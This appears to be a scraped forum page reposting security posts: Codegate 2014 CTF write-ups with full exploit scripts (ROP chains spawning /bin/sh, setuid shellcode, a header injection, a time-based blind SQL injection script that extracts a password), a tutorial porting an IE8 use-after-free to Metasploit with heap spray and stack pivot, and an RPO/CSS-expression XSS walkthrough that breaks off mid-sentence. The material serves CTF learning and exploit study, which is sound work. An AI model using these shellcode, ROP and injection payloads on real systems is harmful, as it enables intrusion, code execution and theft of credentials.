(HP - 25)\"", sock) if len(data) == 58 + i: self.canary += "\x00" else: self.canary += data[22+i] padding += "A" sock.close() print "canary: ", binascii.hexlify(self.canary) def get_fd(self): self.canary = "" padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) sock.sendall(padding) data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock) sock.close() self.fd = ord(data[42]) print "fd: ", self.fd def pwn(self): rop = struct.pack("<I", 0x08048620) # read plt rop += struct.pack("<I", 0x8048b2c) # pop 3 ret rop += struct.pack("<I", self.fd) # fd rop += struct.pack("<I", 0x804b508) # buf rop += struct.pack("<I", 0x256) # nbytes rop += struct.pack("<I", 0x08048710) # execl rop += struct.pack("<I", 0x41424142) # ret rop += struct.pack("<I", 0x0804970D) # /bin/sh rop += struct.pack("<I", 0x0804970D) # /bin/sh rop += struct.pack("<I", 0x804b508) # buf "-c" rop += struct.pack("<I", 0x804b508 + 3) # buf "command" rop += struct.pack("<I", 0x0000000) # null sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) padding = "yAAAAAAAAA" padding += self.canary padding += "B" * 12 sock.sendall(padding + rop) self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket sock.sendall("-c\x00{0}\x00".format(self.command)) data = sock.recv(1024) print data sock.close() def recv_until(self, string, sock): data = "" while True: tmp = sock.recv(1) if tmp == "": break data += tmp if data.endswith(string): break return data parser = argparse.ArgumentParser() parser.add_argument("--host", default="192.168.137.150") parser.add_argument("--port", default=8888) parser.add_argument("--canary", default=None) parser.add_argument("--command", default="whoami") parser.add_argument("--fd", default=None, type=int) args = parser.parse_args() m = exploit(args) Pwn 350 4stone This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin. As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b. The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b. gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804a000 r-xp /home/mopey/games/4stone/4stone 0x0804a000 0x0804b000 r-xp /home/mopey/games/4stone/4stone 0x0804b000 0x0804c000 rwxp /home/mopey/games/4stone/4stone 0x0804c000 0x0806d000 rwxp [heap] 0xb7dc2000 0xb7dc3000 rwxp mapped 0xb7dc3000 0xb7dc6000 r-xp /lib/i386-linux-gnu/libdl-2.17.so 0xb7dc6000 0xb7dc7000 r-xp /lib/i386-linux-gnu/libdl-2.17.so 0xb7dc7000 0xb7dc8000 rwxp /lib/i386-linux-gnu/libdl-2.17.so 0xb7dc8000 0xb7f76000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0xb7f76000 0xb7f78000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0xb7f78000 0xb7f79000 rwxp /lib/i386-linux-gnu/libc-2.17.so 0xb7f79000 0xb7f7d000 rwxp mapped 0xb7f7d000 0xb7f9b000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.9 0xb7f9b000 0xb7f9c000 ---p /lib/i386-linux-gnu/libtinfo.so.5.9 0xb7f9c000 0xb7f9e000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.9 0xb7f9e000 0xb7f9f000 rwxp /lib/i386-linux-gnu/libtinfo.so.5.9 0xb7f9f000 0xb7fc2000 r-xp /lib/i386-linux-gnu/libncurses.so.5.9 0xb7fc2000 0xb7fc3000 r-xp /lib/i386-linux-gnu/libncurses.so.5.9 0xb7fc3000 0xb7fc4000 rwxp /lib/i386-linux-gnu/libncurses.so.5.9 0xb7fdb000 0xb7fdd000 rwxp mapped 0xb7fdd000 0xb7fde000 r-xp [vdso] 0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0xb7ffe000 0xb7fff000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0xb7fff000 0xb8000000 rwxp /lib/i386-linux-gnu/ld-2.17.so 0xbffdf000 0xc0000000 rwxp [stack] hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this: gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804a000 r-xp /home/mopey/games/4stone/4stone 0x0804a000 0x0804b000 r-xp /home/mopey/games/4stone/4stone 0x0804b000 0x0804c000 rwxp /home/mopey/games/4stone/4stone 0x0804c000 0x0806d000 rwxp [heap] 0x40000000 0x40020000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0x40020000 0x40021000 r-xp /lib/i386-linux-gnu/ld-2.17.so 0x40021000 0x40022000 rwxp /lib/i386-linux-gnu/ld-2.17.so 0x40022000 0x40023000 r-xp [vdso] 0x40023000 0x40025000 rwxp mapped 0x4003c000 0x4005f000 r-xp /lib/i386-linux-gnu/libncurses.so.5.9 0x4005f000 0x40060000 r-xp /lib/i386-linux-gnu/libncurses.so.5.9 0x40060000 0x40061000 rwxp /lib/i386-linux-gnu/libncurses.so.5.9 0x40061000 0x4007f000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.9 0x4007f000 0x40080000 ---p /lib/i386-linux-gnu/libtinfo.so.5.9 0x40080000 0x40082000 r-xp /lib/i386-linux-gnu/libtinfo.so.5.9 0x40082000 0x40083000 rwxp /lib/i386-linux-gnu/libtinfo.so.5.9 0x40083000 0x40084000 rwxp mapped 0x40084000 0x40232000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0x40232000 0x40234000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0x40234000 0x40235000 rwxp /lib/i386-linux-gnu/libc-2.17.so 0x40235000 0x40238000 rwxp mapped 0x40238000 0x4023b000 r-xp /lib/i386-linux-gnu/libdl-2.17.so 0x4023b000 0x4023c000 r-xp /lib/i386-linux-gnu/libdl-2.17.so 0x4023c000 0x4023d000 rwxp /lib/i386-linux-gnu/libdl-2.17.so 0x4023d000 0x4023e000 rwxp mapped 0xbffdf000 0xc0000000 rwxp [stack] And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that? Tracing this, in the exit .got we have 1 2 3 4 5 0x40084000 0x40232000 r-xp /lib/i386-linux-gnu/libc-2.17.so 0x4013eb04 <_exit>: mov ebx,DWORD PTR [esp+0x4] 0x4013eb08 <_exit+4>: mov eax,0xfc => 0x4013eb0d <_exit+9>: call DWORD PTR gs:0x10 It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this x86 - How to use a logical address in gdb? - Stack Overflow by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall> Because this is bound loosely we can look for references to this in the mapped region. gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall) Found 1 results, display max 1 items: mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>: push ecx) It looks like we could overwrite this and it would point somewhere else. Does it work? gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c gdb-peda$ continue Continuing. ... Stopped reason: SIGSEGV 0x0c0c0c0c in ?? () Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit #!/usr/bin/python import os import argparse import struct import sys from ctypes import * class exploit: def __init__(self, args): self.vulnpath = args.path #stdin (wins the game and specifies what to write) f = open(args.inputfile, "w") f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n") #f.write("c0c0c0c0") #what to write f.write("bfab0b00") #what to write f.close() f = os.open(args.inputfile, int('444', 8)) print f print sys.stdin os.dup2(f, 0) #arg1 (sepcifies where to write) self.argv = "4023d6d0" #environment (shellcode) /bin/sh setuid 1003 dashsc = ( "\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" + "\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" + "\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" + "\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" + "\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e" ) self.env = { "TERM": "xterm" } for i in range(0,100): self.env[str(i)] = "\x90" * 100000 + dashsc def pwn(self): os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env) parser = argparse.ArgumentParser() parser.add_argument("--inputfile", default="input.txt") parser.add_argument("--path") args = parser.parse_args() m = exploit(args) m.pwn() Pwn 400 minibomb The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets. gdb-peda$ x/4i 0x40000424 0x40000424 <__kernel_vsyscall+16>: pop ebp 0x40000425 <__kernel_vsyscall+17>: pop edx 0x40000426 <__kernel_vsyscall+18>: pop ecx 0x40000427 <__kernel_vsyscall+19>: ret gdb-peda$ x/2i 0x080480F3 0x80480f3: mov ebx,0x0 0x80480f8: int 0x80 We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150 .text:080480B4 lea ebx, unk_8049150 ; start .text:080480BA int 80h ; We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward. I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: Codegate 2014 Quals – Minibomb (pwn 400) | More Smoked Leet Chicken. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that. Using More Smoked Leet Chicken’s technique #!/usr/bin/python #listener.py import socket import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("127.0.0.1", 30123)) s.listen(1) while True: conn, ts = s.accept() conn.sendall("/tmp/blah\x00 ") time.sleep(1) print "got connection" conn.close() #!/usr/bin/python #exploit.py import argparse import struct import socket import time from subprocess import * class exploit: def __init__(self, args): self.vulnpath = args.path padding = "A" * 16 rop = struct.pack("<I", 0x40000425) #pop edx, pop ecx, ret rop += struct.pack("<I", 11) #edx (length) rop += struct.pack("<I", 0x08049150) #ecx (buffer) #eax is 3 due to pipe rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin? #eax is 11 due to read 11 rop += "AAAAAAAAAAAAAAAA" rop += struct.pack("<I", 0x40000425) #pop edx, pop ecx, ret rop += struct.pack("<I", 0) rop += struct.pack("<I", 0) rop += struct.pack("<I", 0x080480B4) self.payload = padding + rop def pwn(self): out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) out_sock.connect(("127.0.0.1", 30123)) out_sock.setblocking(0) #find the right value out_sock.sendall("A" * eval(args.sendsize)) p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock) p.stdin.write(self.payload) parser = argparse.ArgumentParser() parser.add_argument('--path', default="./minibomb") parser.add_argument('--sendsize', default=0) args = parser.parse_args() m = exploit(args) m.pwn() $ ulimit -s unlimited $ cat /tmp/blah #!/bin/bash -p /usr/bin/id > /tmp/output $ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb" $ cat /tmp/output uid=1000(test) gid=1000(test) groups=1000(test) Web 200 I banged my head against this one for a while. In the comments was I tried things like looking for .htaccess, etc, but no luck. This looked promising this looks promising http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin But you only get the first two lines back and the content length. But it turns out there’s a header injection! GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1 Host: 58.229.183.25 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive This responds with <!--if($_SERVER[HTTP_HOST]=="hackme")--></body> Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes. GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1 Host: 58.229.183.25 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive In the response is: Password is WH0_IS_SnUS_bI1G_F4N Web 500 They give us this source. <?php session_start(); $link = @Mysql_close($link); ?> <head> <link rel="stylesheet" type="text/css" href="black.css"> </head> <form method=post action=index.php> <h1> <?= $left_count ?> times left </h1> <div class="inset"> <p> <label for="password">PASSWORD</label> <input type="password" name="password" id="password" > </p> </div> <p class="p-container"> <span onclick=location.href="auth.php"> Auth </span> <input type="submit" value="Check"> </p> </form> The sqli is relatively straightforward. You can have a True/false query like this. password='or(1=2)and'1 password='or(1=1)and'1 But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true password='or(CHAR_LENGTH(password)=30)and'1 so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session* But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds). The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.* #!/usr/bin/python import urllib import httplib import time import argparse import sys class web500: def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False): self.conn = httplib.HTTPConnection(host, port) self.conn.connect() if session == "": self.session = self.get_session() print "Creating SESSION=" + self.session else: self.session = session self.check_iter = check_iter self.debug = debug self.upperlimit = 120 self.passwd = "" self.pwn() def pwn(self): for letter in range(0,30): dstr = "" if self.check_iter != -1: letter = int(self.check_iter) for bit in range(8,3,-1): self.upperlimit -=1 if self.upperlimit < 0: print "ERROR: Went over limit :(" this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1) this_bit = "SUBSTR({0},{1},1)".format(this_char, bit) if (bit != 4 and not self.debug): #if on binary(password[i])[3:4] == 10: sleep 24 #if on binary(password[i])[3:4] == 01: sleep 16 #if all more significant bits are 1: sleep 8 #if all more significant bits are 0: sleep 4 #else: return true if 1, else 0 truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01', if(left(SUBSTR({0},4,9),{1})!='{4}', if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3)) else: truth = "if({0}=0x31,1,0)".format(this_bit) sql = "'or(" + truth + ")and'1" param= "password=" + urllib.quote(sql) self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php") self.conn.putheader("Content-length", str(len(param))) self.conn.putheader("Cookie", "PHPSESSID=" + self.session) self.conn.putheader("Content-Type", "application/x-www-form-urlencoded") self.conn.endheaders() t = time.clock() self.conn.send(param) resp = self.conn.getresponse() data = resp.read() t = time.clock() - t if t>=24: dstr = "10" + dstr break elif t>=16: dstr = "01" + dstr break elif t >= 8: dstr = dstr.rjust(5,"1") break elif t >= 4: dstr = dstr.zfill(5) break elif "True" in data: dstr = "1" + dstr else: dstr = "0" + dstr print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit self.passwd += self.bin_tochar(dstr) if self.check_iter != -1: break print "PASSWORD: ", self.passwd def bin_tochar(self, c): return chr(int("011" + c, 2)) def get_session(self): self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php") self.conn.endheaders() resp = self.conn.getresponse() data = resp.read() return resp.getheader("Set-Cookie").split("=")[1].split(";")[0] parser = argparse.ArgumentParser() parser.add_argument("--session", default="") parser.add_argument("--checkIter", default=-1) parser.add_argument("--debug", action="store_true") args = parser.parse_args() a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug) Logging in with this password gives us the key: Congrats! the key is DontHeartMeBaby*$#@! *If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier tunz :: [Codegate 2014 quals] Web 500 write up Source
  12. A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference. This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes. Setup Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, Old Version of Internet Explorer 8.0 (XP) Download - OldApps.com. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise. We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following: (31c.8f0): Access violation - code c0000005 (!!! second chance !!!) eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78 eip=63662dca esp=020be7ec ebp=020be810 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTreeNode::GetInterface+0xb6: 63662dca ff11 call dword ptr [ecx] ds:0023:02ff0801=???????? 0:008> ub mshtml!CTreeNode::GetInterface+0xa2: 63662db6 f3a7 repe cmps dword ptr [esi],dword ptr es:[edi] 63662db8 0f84c9f31800 je mshtml!CTreeNode::GetInterface+0x1e9 (637f2187) 63662dbe 8b03 mov eax,dword ptr [ebx] 63662dc0 8b08 mov ecx,dword ptr [eax] 63662dc2 8d55fc lea edx,[ebp-4] 63662dc5 52 push edx 63662dc6 ff750c push dword ptr [ebp+0Ch] 63662dc9 50 push eax 0:008> k ChildEBP RetAddr 020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6 020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24 020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3 020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6 020be990 638e5dab mshtml!CElement::setCapture+0x50 ... Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference). Investigation Let’s take a second to analyze. The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved. Running the same file, you will get a different crash now. (40c.a04): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0 eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CDoc::HasContainerCapture+0x14: 635f4478 8b0f mov ecx,dword ptr [edi] ds:0023:0d5b6fb0=???????? 0:008> k ChildEBP RetAddr 037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14 037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2 037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6 037ce990 638e5dab mshtml!CElement::setCapture+0x50 We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg. Using the info stored in heaplib, we can use this to find the size of the chunk 0:023> .printf "0x%x", 1000 - edi & 0xFFF 0x50 Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following. <html> <script> lfh = new Array(20); for(i = 0; i < lfh.length; i++) { lfh[i] = document.createElement('div'); lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" } function trigger() { var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); tt = new Array(20); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424"; } } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); } window.onload = function() { trigger(); } </script> </html> We will now get a crash that looks like this: (be0.9e4): Access violation - code c0000005 (!!! second chance !!!) eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78 eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 mshtml!CTreeNode::GetInterface+0xac: 63662dc0 8b08 mov ecx,dword ptr [eax] ds:0023:24242424=???????? mshtml!CTreeNode::GetInterface+0xac: 63662dc0 8b08 mov ecx,dword ptr [eax] 63662dc2 8d55fc lea edx,[ebp-4] 63662dc5 52 push edx 63662dc6 ff750c push dword ptr [ebp+0Ch] 63662dc9 50 push eax 63662dca ff11 call dword ptr [ecx] 63662dcc 8bf0 mov esi,eax 63662dce 85f6 test esi,esi This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section. Metasploit browser Detection, Heap Spray, and ROP Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way. First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8. 'Targets' => [ [ 'Automatic', {} ], [ 'Windows 7 with Office 2007|2010', { :os_name => /win/i, :ua_name => HttpClients::IE, :ua_ver => "9.0", :os_flavor => "7", :office => /2007|2010/ } ], [ 'Windows XP with IE 8', { :os_name => "Windows XP", :ua_name => HttpClients::IE, :ua_ver => "8.0"; } ] ], Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that. At this point you should be able to have eip control (eip=0x414141) using something like this def get_exploit_html_ie8(cli, target_info) #address containing our heap spray is 0x20302020 spray_addr = "\\u2020\\u2030" #size to fill after free is 0x50 free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) %Q| <html> <script> #{js_property_spray} tt = new Array(30); function trigger() { var id_0 = document.createElement("sup"); var id_1 = document.createElement("audio"); document.body.appendChild(id_0); document.body.appendChild(id_1); id_1.applyElement(id_0); id_0.onlosecapture=function(e) { document.write(""); for(i = 0; i < tt.length; i++) { tt[i] = document.createElement('div'); tt[i].className ="#{free_fill}"; } var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); //this is mangled thanks to wordpress, but is just escaped js strings sprayHeap({shellcode:s}); } id_0['outerText']=""; id_0.setCapture(); id_1.setCapture(); } window.onload = function() { trigger(); } </script> </html> | end Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html. To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found 0x77c3868a xchg eax, esp rcr dword [ebx-0x75], 0xFFFFFFC1 pop ebp ret This will work great. Now just put them in the right order, and we have our exploit! I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions. Source
      • 1
      • Upvote
  13. Aerosol

    RPO

    Relative VS Absolute RPO (Relative Path Overwrite) is a technique to take advantage of relative URLs by overwriting their target file. To understand the technique we must first look into the differences between relative and absolute URLs. An absolute URL is basically the full URL for a destination address including the protocol and domain name whereas a relative URL doesn’t specify a domain or protocol and uses the existing destination to determine the protocol and domain. Absolute URL https://hackvertor.co.uk/public Relative URL public/somedirectory The relative URL shown will look for public and automatically include the domain before it based on the current domain name. There are two important variations of a relative URL, the first is we can use the current path and look for a directory within it such as “xyz” or use common directory traversal techniques such as “../xyz”. To see how these work within markup let’s take a look at a common relative URL used within a stylesheet. <html> <head> <link href="styles.css" rel="stylesheet" type="text/css" /> </head> <body> </body> </html> The link element above references “style.css” using a relative URL, depending where in the sites directory structure you are it will load the style sheet based on that. For example if you were in a directory called “xyz” then the style sheet would be loaded from “xyz/style.css”. The interesting aspect of this is how the browser knows what a correct path is since it doesn’t have access to the server’s file system. The answer is it doesn’t. There is no way to determine a valid directory structure from outside the file system you can only make educated guesses and use http status codes to determine their existence. The missing styles I noticed something interesting with relative styles, manipulating the path of the site could result in styles failing to load. It occurred to me this was a flaw in some way but the pieces of the jigsaw didn’t make sense yet. How could it be exploited? The two screenshots above show a site without manipulating with URL the styles load as expected however in the second screenshot the same site is loaded with an added forward slash and the relative style sheet does not load. Simply adding a forward slash at the end of the URL breaks the styles of the relative style. Looking in Firebug we can see the style wdn.css returns a 404 when we add the forward slash. The screenshot shows the style sheet returning a 404 for a style that previously loaded fine without manipulating the path. If the style returns 404 maybe we can manipulate the relative URL further by changing the path. This is in essence what RPO is about, we try to change the relative URL to something we control although this post is about XSS it’s worth noting that manipulating relative URLs can be done for any such URL and isn’t restricted to XSS. Quick CSS lesson Since we are looking at manipulating a style sheet to something we control we must first understand CSS parsing in order to take advantage of it. There is an interesting piece of the CSS 2 specification that we are very interested in. “In some cases, user agents must ignore part of an illegal style sheet. This specification defines ignore to mean that the user agent parses the illegal part (in order to find its beginning and end), but otherwise acts as if it had not been there.” CSS 2 specification. Another piece of the jigsaw is added, CSS2 ignores illegal syntax which we can use by supplying a file that contains mixed content of CSS and something else. If we can fool the CSS parsing into ignoring the illegal syntax before our intended code we can get the CSS parser to load our code. CSS selectors offer the best way to do this since an invalid selector can be ignored and all the previous illegal syntax. Invalid code }*{color:#ccc;} There are two tricks to ignore illegal code both involve selectors, depending on the CSS parser a single } will work or {}. We shall look at IE compat since the parser is quite loose and supports CSS expressions. A CSS expression looks like the following: *{ xss:expression(alert(1)); } The first part is a global selector “*” and the { opens the selector a custom property xss is used and then the expression contains JavaScript that executes alert(1). Self-referencing If we can make the style sheet self-reference for the page it’s on then we can use the CSS parsing to ignore the HTML and execute our custom CSS in IE compat. When a site includes a style sheet like the following: <link href="styles.css" rel="stylesheet" type="text/css" /> We simply need to include a forward slash at the end of the URL and the style sheet will end up (if rewriting is available) loading the original page via what the browser thinks is a directory but is in fact the current page. E.g somepage.php/. Now that our style sheet is loading the web page we need to supply it with some CSS to execute, we can do this by mixing persistent data such as a first name or address think of this as both a reflective attack and a persistent attack but the persistent data contains CSS code. To understand this it’s better to show the actual structure of the page and you to see the vector itself. Imagine we have a web page with some data we control such as “first name” the web page would look like the following. <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <link href="styles.css" rel="stylesheet" type="text/css" /> </head> <body> Hello {}*{xss:expression(open(alert(1)))} </body> </html> PoC (IE ONLY): RPO example The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We 